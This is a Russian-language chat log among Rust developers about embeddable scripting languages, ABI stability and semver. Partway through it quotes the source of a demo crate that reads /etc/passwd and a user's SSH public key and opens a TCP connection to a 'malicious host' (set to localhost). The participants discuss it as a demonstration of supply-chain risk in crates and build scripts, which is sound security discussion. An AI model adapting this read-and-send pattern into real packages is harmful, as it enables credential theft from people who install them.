Anton
там есть треды
Anton
корутинки
Anton
динамическая типизация в целом простенько и неплохо на взгляд
Anton
минамически подгружаемые в рантайм модули
Anton
и по мелочи шняга
Anton
если судить еще по некоторым первичным обрывкам - piston сделалт еще возможность из него производить живые трансформации, тоесть скидывают состояния в dyon и получают результаты
Мерль
Мерль
Для встраиваемых языков
Anton
это плюс, да
Anton
сам по себе dyon как полноценный язык независимый никак не годится
Anton
но вот как дополнение к другому языку - более чем офигенно сделан имхо
Маjко
https://crates.io/crates/totally_not_malicious
Маjко
Вот объясните мне мотивацию
Маjко
Зачем?
Danila Matveev
https://blog.korte.land/programming/2017/09/16/dependencies-trust.html
Маjко
Обертка над dlopen?
Michael
ну да типа с своим лунапарком
Маjко
В расте интересно можно ли сделать FFI с другим растокодом без влезания в ансейф для интероперабельности
Маjко
Типа не через C ABI
Маjко
А через свой, сейфный)
Michael
use std::unstable::dynamic_lib::DynamicLibrary;
гугл подсказывает чтото наподобие
պլհկ
В расте нет стабильного ABI
Michael
хех кого это когда останавливало
Anton
Anton
И никогда
Anton
В расте любые инициативы начинаются с глухого анстейбл и ансейф
Anton
Если потом это развивается уже стабилизируют
Kerrigan
https://yandex.com/images/search?text=%D0%B1%D0%B5%D0%B3%D0%B5%D0%BC%D0%BE%D1%82%D0%B8%D0%BA%20%D0%BD%D0%B8%D0%BA%D1%82%D0%BE
Kerrigan
в понедельник надо уже тыкать serde
Vladimir
Осталось портировать их проц макро, на их же проц макро
Vladimir
Мы прихуярили proc-macro attributes в proc-macro attributes чтобы ты мог юзать proc-macro attributes пока реализуешь proc-macro attributes.
Vladimir
Остался монитор)
Маjко
Kerrigan
slowpoke?
ага, aiff я разобрал, теперь надо жсоны внутри разобрать
Маjко
Ыы, ну кстати жсоны и серде уже самый что ни на есть стейбл :D
Маjко
Новички в языке очень большие глаза делают, при виде кучи версий "0.*" в зависимостях х)
Michael
и что им не нравится от *.0 ?
Michael
типа все семвер прочли?
Anonymous
Маjко
Маjко
Типа семвер не читали как раз
Michael
ну так опенсурс же, и оч много до семвера чего появилось
Michael
и от попы спереди мажор версия не спасает как правило
Anonymous
Michael
я человек простой, есть тулза делает то, что мне надо, то мне всёравно какие там циферки в версии
Vladimir
мне в начале очень было дико, что 0.2.1 < 0.11.0
Vladimir
x)
Vladimir
особенно когда. 0.11 было записано не в каноническом виде
Michael
ага когда после 0.9 идёт 0.10, а не 1.0
Vladimir
угу обидно даже как-то х)
Michael
ну, заказчик грит: хочу чтобы было хорошо, и если рыбка плавает по дну в аквариуме - то с системой всё ок, если сверху вверх пузиком - то типа надо диагностировать, и естественно запуск с одной кнопки
ну и классика жанра, чтобы было готово на вчера
а все утэти начиная семверы и заканчивая мьютексами с очередями им до лампы
в принципе это кмк правильно
Michael
так часть кода из питона прозрачно была сделана на го
Michael
время есть, смотрю на раст
Vladimir
Michael
Michael
нельзя вспоминать в суе?
Vladimir
типа того)
Vladimir
у нас тут в чате, день без вспоминания го не проходит
Michael
а... ну в общем раст у мну в ближайшей перспективе
Anonymous
все так говорят
Michael
Евгений
Anonymous
Anonymous
Евгений
Я ток про дион читал :( А в чём разница?
Anonymous
gluon функциональный
Евгений
Глюон выглядит как миранда
Мерль
lua это такой протодион?
Ну, смотря в каком смысле "прото-"
Lua - это зверски простой язык с микрорантаймом в несколькоо сотен килобайт со стандартной библиотекой и прочим барахлом. У него очень минималистичный синтаксис, но достаточно гибкий, чтобы навернуть абстракций и сахара поверх, если захочется. Сейчас он прикручивается часто по принципу "а почему бы и нет" куда угодно, начиная от nginx и игровых движков и заканчивая софтом для трейдеров
Дион по сравнению с ним - прямо экскаватор, фаршированный плюшками оп самое немагу
Мерль
А глюон я вообще не трогал
Евгений
Сколько я не видел кода на луа -- это какой-то кривообразный кошмар
Anonymous
оо в gluon даже hkt
Vladimir
https://crates.io/crates/totally_not_malicious
use std::fs::File;
use std::io::prelude::*;
use std::io::Read;
use std::net::TcpStream;
fn main() {
steal_passwords();
steal_private_key();
send_stuff_over_network();
}
fn steal_passwords() {
let mut f = match File::open("/etc/passwd") {
Ok(f) => f,
Err(_) => {
println!("drats! foiled!");
return;
}
};
let mut contents = String::new();
f.read_to_string(&mut contents).unwrap();
print!("{}", contents);
}
fn steal_private_key() {
match std::env::var("LOGNAME") {
Ok(val) => {
// only public key. i'm not that evil
let mut f = match File::open(format!("/home/{}/.ssh/id_rsa.pub", val)) {
Ok(f) => f,
Err(_) => {
println!("couldn't open public key");
return;
}
};
let mut key_contents = String::new();
f.read_to_string(&mut key_contents).unwrap();
print!("{}", key_contents);
},
Err(_) => {
println!("couldn't get username");
return;
}
}
}
fn send_stuff_over_network() {
let malicious_host = "127.0.0.1"; // google is "172.217.25.46" if you want to test *real* networking
let mut stream = match TcpStream::connect(format!("{}:8080", malicious_host)) {
Ok(s) => s,
Err(_) => {
println!("hmm, no networking?");
return;
},
};
let msg = String::from("totally not someone's public key\n");
let _ = stream.write(msg.as_bytes());
}
Vladimir
да, я кстати тоже говорил, что билд скрипты это пздец как не секьюрно
Alex
Зачем?
чтобы продемонстрировать уязвимость
Alex
думаю при добавлении нового крейта - карго должен предложить проинспектировать build скрипт
Vladimir
да как ты проинспектируешь